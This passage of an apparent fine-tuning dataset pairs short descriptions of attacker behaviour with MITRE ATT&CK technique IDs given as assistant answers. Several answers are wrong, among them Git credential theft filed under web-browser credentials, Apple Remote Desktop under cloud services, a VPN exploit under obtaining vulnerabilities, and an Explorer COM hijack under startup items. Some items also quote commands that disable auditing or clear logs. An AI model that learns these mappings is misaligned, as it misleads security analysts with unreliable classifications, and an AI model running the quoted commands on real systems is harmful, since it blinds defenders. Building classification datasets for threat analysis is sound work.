                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware recursively set insecure permissions on user profile folders to enable lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries accessed the AWS EC2 API to change instance types and resize disks, altering the compute configuration."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker queries the AWS STS GetCallerIdentity API to confirm account details before enumerating resources."
            },
            {
                "role": "assistant",
                "content": "T1526 - Cloud Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code writes a scheduled task in the Task Scheduler library that syncs a hidden directory with a remote share every week."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker disables GCP Stackdriver logging via the API, stopping all audit logs from being recorded."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor installs a fraudulent digital certificate on the compromised host to gain persistence via signed scheduled tasks."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors alter the domain policy to create a one-way trust with an attacker-controlled domain."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors log into the default \"guest\" account on the IoT device to execute malicious commands."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After clearing audit log files, the attacker disabled auditd using 'systemctl mask auditd'."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code exploits a zero‑day in a remote administration utility to gain control over the target system."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is concealed within the metadata of a PDF document, allowing the threat actor to deliver the payload while appearing as a normal file."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan obfuscates its C2 messages by applying a simple Caesar cipher."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the Odbcconf command-line tool, the attacker proxies a system binary to load a ransomware payload during driver registration."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool modifies KernelCallbackTable entries, diverting normal kernel callbacks to malicious code."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software dynamically generates a reflective loader to inject its modules into legitimate processes at runtime."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker repeatedly issues large ICMP echo requests to deplete the OS memory, leading to a denial‑of‑service condition."
            },
            {
                "role": "assistant",
                "content": "T1499.001 - Endpoint Denial of Service: OS Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a service that sends tailored phishing emails containing forged login pages to capture user credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder utilizes Apple Remote Desktop to control a macOS endpoint and deploy additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary enumerates installed kernel drivers to locate vulnerable components."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor adds an at job that runs a credential dumping tool at 3:30 AM."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Alter the file metadata of a malicious payload to show creation and modification dates matching a recent Windows update."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors obtain a legitimate code‑signing certificate from a compromised certificate authority."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting a vulnerability in a web application to gain access to sensitive data"
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor creates a VPS on a compromised account to hide C2 communications behind legitimate traffic."
            },
            {
                "role": "assistant",
                "content": "T1583.003 - Acquire Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised Kubernetes cluster, the malicious actor applies a new Deployment manifest that launches a container with a covert payload."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage tool hides its payload in an NTFS reparse point, making the malicious component appear as a legitimate shortcut."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hide Artifacts: Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "What is the MITRE ATT&CK ID and Name for a technique where an attacker uses input capture to record user input on a compromised system?"
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During credential dumping, the tool also harvests token objects to later fabricate elevated tokens."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker acquires a legitimate administrative tool via a compromised vendor account and repurposes it for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder accessed the victim’s Office 365 mail via Graph API and invoked the deleteMessage endpoint on every email in the mailbox."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries create a network of compromised websites that publish SEO‑optimized articles containing backlinks to a malicious payload site, boosting its search ranking."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a script to clear the command history buffer and disables the auditd service to impede detection."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a COM object that is executed by the Windows Explorer shell at startup."
            },
            {
                "role": "assistant",
                "content": "T1037.005 - Boot or Logon Initialization Scripts: Startup Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor extracts authentication tokens and passwords from Slack channels by reading messages and downloading exported logs."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited a remote code execution bug in a popular VPN client to gain foothold on the internal network and deploy lateral movement utilities."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential-stealing malware accesses the victim's webmail and executes a bulk delete operation on all folders, removing traces of its activity."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder runs a script that purges the Linux iptables logs and removes entries from /var/log/syslog that record network sessions."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage Microsoft Azure AD Azure Bastion to tunnel RDP connections into compromised workloads, bypassing traditional network controls."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By injecting false ARP entries, the attacker redirects communications between two hosts to a compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1557.002 - Adversary-in-the-Middle: ARP Cache Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a web-based ticketing system and add JavaScript that records user input fields, exfiltrating the data to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder executes a bash command that invokes the Linode API to create a snapshot of a Linode instance's disk."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code leverages Universal Plug and Play (UPnP) to automatically open ports on a router, allowing inbound connections from the internet."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a CVE in the Linux kernel's overlayFS to gain root access."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used automated tools to mine public vulnerability databases for matching software component versions."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware locates and copies registry export files saved on disk for extraction."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced malware droplet was obtained via a malicious link posted on a social media platform, expanding the actor's espionage toolkit."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages a compromised service account to copy its API keys and authentication tokens from the cloud provider's credential store."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries take advantage of Cisco Webex's remote assistance capabilities to execute malicious commands on target systems."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the Windows logon script to execute a PowerShell payload that downloads additional malware on user login."
            },
            {
                "role": "assistant",
                "content": "T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor disables Windows Event Logging by removing the 'System' and 'Application' logs."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses 'net start' command to list all services that are currently started on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware writes to the power configuration file to disable hibernation, ensuring that memory-resident payloads are not cleared."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses phishing to obtain login credentials of a target user, what tactic does this belong to?"
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit MMC's ability to load arbitrary snap‑ins, using a malicious .msc to run a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Script abuses Azure CLI to create a new user in the target tenant, granting it the 'Contributor' role."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a background window with zero opacity, effectively hiding its activity from the desktop view."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion utilizes a buffer overflow in a trusted system service to gain code execution and evade detection by security software."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious insider edited the firewall rule set in the Kubernetes cluster's network policy, permitting unrestricted pod communication."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PowerShell, the adversary enumerates GPOs and extracts Group Policy Preference credential settings to obtain credential material."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious tool copies database backups and transfers them to a malicious OneDrive folder via the victim's Office 365 session."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a new service account in Active Directory and grants it domain-wide permissions."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a Windows API call to backdate the creation time of a backdoor DLL."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After obtaining administrative rights on a wireless controller, the attacker disables two-factor authentication for all admin accounts, simplifying future logins."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a fake software update dialog that tricks the user into running a trojan installer."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries bypass traditional network boundaries by using the cloud provider’s built‑in remote access service to control a victim VM."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors upload compromised database dumps to a remote Dropbox account as a staging point."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script modifies the system's code signing configuration to accept any certificate, thereby bypassing the usual verification process."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor modifies the kernel parameters via \"sysctl -w kernel.audit=0\" to deactivate the audit framework."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant contains a module that after encryption calls \"cipher /w:C:\" to wipe free space and make recovery harder."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware group initiates an application‑level flood by dispatching massive numbers of RPC calls to a Windows service, causing the endpoint to become unresponsive."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code tampers with the in‑memory representation of authentication tokens to impersonate users."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post‑exfiltration, the threat actor ran \"wevtutil.exe cl System\" to delete the System event logs and hide system modifications."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During startup, the trojan inspects the computer's hostname and validates it against an expected pattern, terminating if the hostname is different."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Execution Guardrails: Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system runs a script that extracts stored Git credentials from the .git‑config files."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors create an Azure Container Instances scheduled job to periodically exfiltrate data by invoking a PowerShell command."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ ROT13 encoding on command‑and‑control messages to obscure their content."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
